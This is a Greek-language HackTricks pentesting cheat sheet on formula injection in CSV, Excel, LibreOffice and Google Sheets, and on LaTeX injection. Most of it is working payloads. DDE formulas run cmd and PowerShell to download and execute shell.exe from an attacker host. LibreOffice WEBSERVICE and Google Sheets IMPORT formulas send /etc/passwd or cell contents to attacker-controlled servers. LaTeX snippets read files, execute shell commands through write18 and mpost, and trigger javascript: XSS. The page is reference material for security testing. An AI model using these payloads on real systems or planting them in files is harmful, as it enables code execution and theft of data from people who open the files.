hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

207 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Formula/CSV/Doc/LaTeX/GhostScript Injection
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Formula Injection
### Info
Αν η **είσοδός** σας **αντανακλάται** μέσα σε **αρχεία CSV** (ή οποιοδήποτε άλλο αρχείο που πιθανόν θα ανοιχτεί από το **Excel**), ίσως να μπορείτε να βάλετε **τύπους** του Excel που θα **εκτελούνται** όταν ο χρήστης **ανοίγει το αρχείο** ή όταν ο χρήστης **κλικάρει σε κάποιο σύνδεσμο** μέσα στο φύλλο excel.
{% hint style="danger" %}
Σήμερα το **Excel θα ειδοποιήσει** (πολλές φορές) τον **χρήστη όταν κάτι φορτώνεται από έξω από το Excel** προκειμένου να τον προστατεύσει από κακόβουλες ενέργειες. Επομένως, πρέπει να καταβληθεί ειδική προσπάθεια στο Social Engineering για το τελικό payload.
{% endhint %}
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
```
DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
```
### Hyperlink
**Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο excel και για την εκτέλεση αιτημάτων σε αυθαίρετες τοποθεσίες. Απαιτεί όμως από τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).**
Το παρακάτω παράδειγμα έχει ληφθεί από [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
Φανταστείτε μια παραβίαση ασφάλειας σε ένα σύστημα Διαχείρισης Φοιτητικών Αρχείων που εκμεταλλεύεται μέσω μιας επίθεσης CSV injection. Η κύρια πρόθεση του επιτιθέμενου είναι να παραβιάσει το σύστημα που χρησιμοποιούν οι δάσκαλοι για να διαχειρίζονται τις λεπτομέρειες των φοιτητών. Η μέθοδος περιλαμβάνει τον επιτιθέμενο να εισάγει ένα κακόβουλο payload στην εφαρμογή, συγκεκριμένα εισάγοντας επιβλαβείς τύπους σε πεδία που προορίζονται για λεπτομέρειες φοιτητών. Η επίθεση εξελίσσεται ως εξής:
1. **Εισαγωγή Κακόβουλου Payload:**
* Ο επιτιθέμενος υποβάλλει μια φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει έναν τύπο που χρησιμοποιείται συνήθως σε υπολογιστικά φύλλα (π.χ., `=HYPERLINK("<malicious_link>","Click here")`).
* Αυτός ο τύπος έχει σχεδιαστεί για να δημιουργεί έναν υπερσύνδεσμο, αλλά δείχνει σε έναν κακόβουλο διακομιστή που ελέγχεται από τον επιτιθέμενο.
2. **Εξαγωγή Παραβιασμένων Δεδομένων:**
* Οι δάσκαλοι, ανυποψίαστοι για την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
* Το αρχείο CSV, όταν ανοιχτεί, περιέχει ακόμα το κακόβουλο payload. Αυτό το payload εμφανίζεται ως κλικαρίσιμος υπερσύνδεσμος στο υπολογιστικό φύλλο.
3. **Ενεργοποίηση της Επίθεσης:**
* Ένας δάσκαλος κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι είναι ένα νόμιμο μέρος των λεπτομερειών του φοιτητή.
* Με το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή τον υπολογιστή του δασκάλου) μεταδίδονται στον διακομιστή του επιτιθέμενου.
4. **Καταγραφή των Δεδομένων:**
* Ο διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που αποστέλλονται από τον υπολογιστή του δασκάλου.
* Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, παραβιάζοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.
### RCE
**Ελέγξτε την** [**αρχική ανάρτηση**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **για περισσότερες λεπτομέρειες.**
Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια δυνατότητα που ονομάζεται Dynamic Data Exchange (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να αξιοποιηθεί αυτό, οι παρακάτω ρυθμίσεις πρέπει να είναι ενεργοποιημένες:
* Μεταβείτε στο Αρχείο → Επιλογές → Κέντρο εμπιστοσύνης → Ρυθμίσεις Κέντρου εμπιστοσύνης → Εξωτερικό περιεχόμενο, και ενεργοποιήστε την **Εκκίνηση Διακομιστή Dynamic Data Exchange**.
Όταν ένα υπολογιστικό φύλλο με το κακόβουλο payload ανοίγει (και αν ο χρήστης αποδεχτεί τις προειδοποιήσεις), το payload εκτελείται. Για παράδειγμα, για να εκκινήσει την εφαρμογή υπολογιστή, το payload θα ήταν:
```markdown
=cmd|' /C calc'!xxx
```
Επιπλέον εντολές μπορούν επίσης να εκτελούνται, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:
```bash
=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1
```
### Local File Inclusion (LFI) in LibreOffice Calc
Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξαγωγή δεδομένων. Ακολουθούν μερικές μέθοδοι:
* Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
* Εξαγωγή των αναγνωσθέντων δεδομένων σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
* Εξαγωγή περισσότερων από μία γραμμές: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
* Εξαγωγή DNS (αποστολή αναγνωσθέντων δεδομένων ως DNS ερωτήματα σε έναν διακομιστή DNS ελεγχόμενο από τον επιτιθέμενο): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
### Google Sheets for Out-of-Band (OOB) Data Exfiltration
Το Google Sheets προσφέρει συναρτήσεις που μπορούν να εκμεταλλευτούν για την εξαγωγή δεδομένων OOB:
* **CONCATENATE**: Συνενώνει συμβολοσειρές - `=CONCATENATE(A2:E2)`
* **IMPORTXML**: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
* **IMPORTFEED**: Εισάγει RSS ή ATOM ροές - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
* **IMPORTHTML**: Εισάγει δεδομένα από HTML πίνακες ή λίστες - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
* **IMPORTRANGE**: Εισάγει μια περιοχή κελιών από άλλο υπολογιστικό φύλλο - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
* **IMAGE**: Εισάγει μια εικόνα σε ένα κελί - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
## LaTeX Injection
Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που **μετατρέπουν κώδικα LaTeX σε PDF** χρησιμοποιούν **`pdflatex`**.\
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για να (απαγορεύσει) ή να επιτρέψει την εκτέλεση εντολών:
* **`--no-shell-escape`**: **Απενεργοποιεί** τη δομή `\write18{command}`, ακόμη και αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
* **`--shell-restricted`**: Ίδιο με το `--shell-escape`, αλλά **περιορισμένο** σε ένα 'ασφαλές' σύνολο **προκαθορισμένων** \*\*εντολών (\*\*Στο Ubuntu 16.04 η λίστα είναι στο `/usr/share/texmf/web2c/texmf.cnf`).
* **`--shell-escape`**: **Ενεργοποιεί** τη δομή `\write18{command}`. Η εντολή μπορεί να είναι οποιαδήποτε εντολή shell. Αυτή η δομή κανονικά απαγορεύεται για λόγους ασφαλείας.
Ωστόσο, υπάρχουν άλλοι τρόποι για να εκτελέσετε εντολές, οπότε για να αποφύγετε το RCE είναι πολύ σημαντικό να χρησιμοποιήσετε `--shell-restricted`.
### Read file <a href="#read-file" id="read-file"></a>
Μπορεί να χρειαστεί να προσαρμόσετε την ένεση με περιτυλίγματα όπως \[ ή $.
```bash
\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}
```
#### Διαβάστε αρχείο με μία γραμμή
```bash
\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file
```
#### Διαβάστε αρχείο πολλαπλών γραμμών
```bash
\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file
```
### Γράψτε αρχείο <a href="#write-file" id="write-file"></a>
```bash
\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile
```
### Command execution <a href="#command-execution" id="command-execution"></a>
Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να την αποκτήσετε.
```bash
\immediate\write18{env > output}
\input{output}
\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}
# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}
# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
```
Αν λάβετε οποιοδήποτε σφάλμα LaTex, εξετάστε το ενδεχόμενο να χρησιμοποιήσετε base64 για να αποκτήσετε το αποτέλεσμα χωρίς κακά χαρακτήρες.
```bash
\immediate\write18{env | base64 > test.tex}
\input{text.tex}
```
```bash
\input|ls|base4
\input{|"/bin/hostname"}
```
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
Από [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
```bash
\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}
```
## Ghostscript Injection
**Έλεγχος** [**https://blog.redteam-pentesting.de/2023/ghostscript-overview/**](https://blog.redteam-pentesting.de/2023/ghostscript-overview/)
## Αναφορές
* [https://notsosecure.com/data-exfiltration-formula-injection-part1](https://notsosecure.com/data-exfiltration-formula-injection-part1)
* [https://0day.work/hacking-with-latex/](https://0day.work/hacking-with-latex/)
* [https://salmonsec.com/cheatsheet/latex\_injection](https://salmonsec.com/cheatsheet/latex\_injection)
* [https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/](https://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}